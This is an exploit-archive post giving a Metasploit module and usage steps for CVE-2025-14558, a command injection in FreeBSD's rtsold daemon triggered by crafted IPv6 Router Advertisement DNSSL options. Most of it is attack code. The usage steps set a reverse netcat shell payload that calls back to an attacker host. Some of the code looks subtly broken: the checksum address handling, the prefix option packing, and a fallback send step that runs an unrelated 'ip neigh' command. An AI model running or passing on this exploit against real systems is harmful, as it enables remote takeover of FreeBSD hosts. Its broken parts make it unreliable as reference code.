FreeBSD 15.x rtsold DNSSL Command Injection
=============================================================================================================================================
| # Title FreeBSD 15.x rtsold DNSSL Command Injection
=============================================================================================================================================
| # Title : FreeBSD 15.x rtsold DNSSL Command Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.freebsd.org/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213577/ & CVE-2025-14558
[+] Summary : This Metasploit module targets a command injection vulnerability in the FreeBSD rtsold daemon related to the handling of DNSSL (DNS Search List) options in IPv6 Router Advertisements.
Due to improper validation of domain names, attacker-controlled DNSSL values can inject shell commands via $() substitution when processed by the resolvconf script.
Successful exploitation requires Layer 2 adjacency and ACCEPT_RTADV enabled on the target, and may result in remote command execution on vulnerable FreeBSD systems prior to the official patches.
[+] Usage :
msfconsole
msf> use exploit/bsd/ipv6/rtsold_dnssl_rce
msf> set INTERFACE eth0
msf> set PAYLOAD cmd/unix/reverse_netcat
msf> set LHOST 192.168.1.100
msf> set LPORT 4444
msf> exploit
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Raw
include Msf::Exploit::Remote::Ipv6
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD rtsold DNSSL Command Injection',
'Description' => %q{
This module exploits CVE-2025-14558, a command injection vulnerability in
FreeBSD's rtsold daemon. The vulnerability exists in the processing of
DNSSL (DNS Search List) options in IPv6 Router Advertisements.
rtsold processes DNSSL options without validating domain names for shell
metacharacters. The decoded domains are passed to resolvconf(8), a shell
script that uses unquoted variable expansion, enabling command injection
via $() substitution.
This exploit requires layer 2 adjacency to the target and the target must
be running rtsold with ACCEPT_RTADV enabled.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-14558'],
['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
],
'DisclosureDate' => '2025-12-16',
'Platform' => 'bsd',
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '',
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' => [
['FreeBSD 13.x-15.x (before patches)', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_options([
OptString.new('INTERFACE', [true, 'Network interface to use', 'eth0']),
OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
OptInt.new('ROUTER_LIFETIME', [true, 'Router lifetime in seconds', 1800]),
OptString.new('SOURCE_MAC', [false, 'Source MAC address (defaults to interface MAC)']),
OptString.new('SOURCE_IPV6', [false, 'Source IPv6 address', 'fe80::1'])
])
deregister_options('RHOSTS', 'RPORT')
end
def check
Exploit::CheckCode::Unknown
end
def encode_domain(name)
result = ""
name.split(".").each do |label|
next if label.empty?
data = label
result << [data.length].pack('C') + data
end
result << "\x00"
end
def encode_payload(cmd)
payload = "$(#{cmd})"
if payload.length > 63
result = ""
while !payload.empty?
chunk = payload.slice!(0, 63)
result << [chunk.length].pack('C') + chunk
end
result << "\x00"
else
[payload.length].pack('C') + payload + "\x00"
end
end
def build_dnssl_option(cmd, lifetime = 0xFFFFFFFF)
data = encode_domain("x.local") + encode_payload(cmd)
pad_len = (8 - (data.length + 8) % 8) % 8
data << "\x00" * pad_len
length = (8 + data.length) / 8
dnssl = [
31, # Type: DNSSL (31)
length, # Length
0, # Reserved
lifetime # Lifetime
].pack('CCnN')
dnssl + data
end
def build_router_advertisement
src_mac = datastore['SOURCE_MAC']
src_mac ||= get_mac(datastore['INTERFACE'])
eth = PacketFu::EthPacket.new
eth.eth_saddr = src_mac
eth.eth_daddr = "33:33:00:00:00:01" # All-nodes multicast
ipv6 = PacketFu::IPv6Packet.new
ipv6.ipv6_hop = 255
ipv6.ipv6_saddr = datastore['SOURCE_IPV6']
ipv6.ipv6_daddr = "ff02::1" # All-nodes multicast
ra_header = [
134, # Type: Router Advertisement
0, # Code
0, # Checksum (will be calculated later)
64, # Cur Hop Limit
0, # Flags (M=0, O=1)
1800 # Router Lifetime
].pack('CCnCCn')
slaac_opt = [
1, # Type: Source Link-Layer Address
1, # Length in 8-octet units
src_mac.gsub(':', '').scan(/../).map { |x| x.hex }
].flatten.pack('CCa6')
prefix_opt = [
3, # Type: Prefix Information
4, # Length in 8-octet units
64, # Prefix Length
0x80, # Flags (L=1, A=1)
0, # Valid Lifetime
0, # Preferred Lifetime
0, # Reserved
# Prefix: 2001:db8::
0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
].pack('CCCCNNNa16')
dnssl_opt = build_dnssl_option(payload.encoded)
icmp_payload = ra_header + slaac_opt + prefix_opt + dnssl_opt
checksum = ipv6_checksum(ipv6, icmp_payload)
icmp_payload[2, 2] = [checksum].pack('n')
eth.body = ipv6.to_s + icmp_payload
eth
end
def ipv6_checksum(ipv6_packet, payload)
pseudo_header = [
ipv6_packet.ipv6_saddr.split(':').map { |x| x.hex }.pack('n*'),
ipv6_packet.ipv6_daddr.split(':').map { |x| x.hex }.pack('n*'),
payload.length,
0,
58 # ICMPv6 protocol number
].pack('a16a16NNn')
sum = 0
(pseudo_header + payload).unpack('n*').each do |word|
sum += word
end
while sum > 0xffff
sum = (sum & 0xffff) + (sum >> 16)
end
~sum & 0xffff
end
def get_mac(interface)
mac = nil
File.open("/sys/class/net/#{interface}/address", "r") do |f|
mac = f.read.strip
end
mac
rescue
nil
end
def exploit
print_status("Building malicious Router Advertisement...")
packet = build_router_advertisement
print_status("Sending #{datastore['COUNT']} RA packets via #{datastore['INTERFACE']}...")
datastore['COUNT'].times do |i|
begin
send_packet(packet, datastore['INTERFACE'])
print_good("Sent RA packet #{i + 1}/#{datastore['COUNT']}")
sleep 1 if i < datastore['COUNT'] - 1
rescue => e
print_error("Failed to send packet #{i + 1}: #{e.message}")
end
end
print_status("Exploit complete. Check for session.")
end
def send_packet(packet, interface)
pcap = PCAPRUB::Pcap.open_live(interface, 65535, true, 0)
pcap.inject(packet.to_s)
pcap.close
rescue LoadError
system("echo '#{packet.to_s.unpack('H*').first}' | xxd -r -p | sudo ip -6 neigh add ff02::1 dev #{interface} nud permanent")
end
end
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================